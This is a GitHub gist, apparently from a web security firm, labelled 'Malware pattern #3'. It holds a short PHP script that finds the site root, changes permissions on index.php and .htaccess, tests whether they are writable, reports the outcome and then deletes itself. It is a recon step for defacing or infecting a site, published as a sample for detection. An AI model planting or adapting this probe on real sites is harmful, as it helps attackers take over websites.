Skip to content

Instantly share code, notes, and snippets.

@PalmaSolutions
Created April 6, 2017 08:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PalmaSolutions/dd5a78dd9a0107fdbe35e733af99168a to your computer and use it in GitHub Desktop.
Save PalmaSolutions/dd5a78dd9a0107fdbe35e733af99168a to your computer and use it in GitHub Desktop.
Malware pattern #3
<?php
chmod(get_root_path(), 0755);
chmod(get_root_path().'/index.php', 0644);
chmod(get_root_path().'/.htaccess', 0644);
if (file_exists(get_root_path().'/index.php') && !is_writable(get_root_path().'/index.php') || file_exists(get_root_path().'/.htaccess') && !is_writable(get_root_path().'/.htaccess'))
{
fail_reason('Index.php or .htaccess isn\'t writable');
}
if (version_compare(PHP_VERSION, '5.0.0', '<'))
{
fail_reason('PHP 4');
}
fail_reason('Success!');
function get_root_path()
{
$localpath=getenv("SCRIPT_NAME");$absolutepath=str_replace('\\', '/', getenv("SCRIPT_FILENAME"));$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
return $root_path;
}
function fail_reason($reason)
{
unlink(__FILE__);
die($reason);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment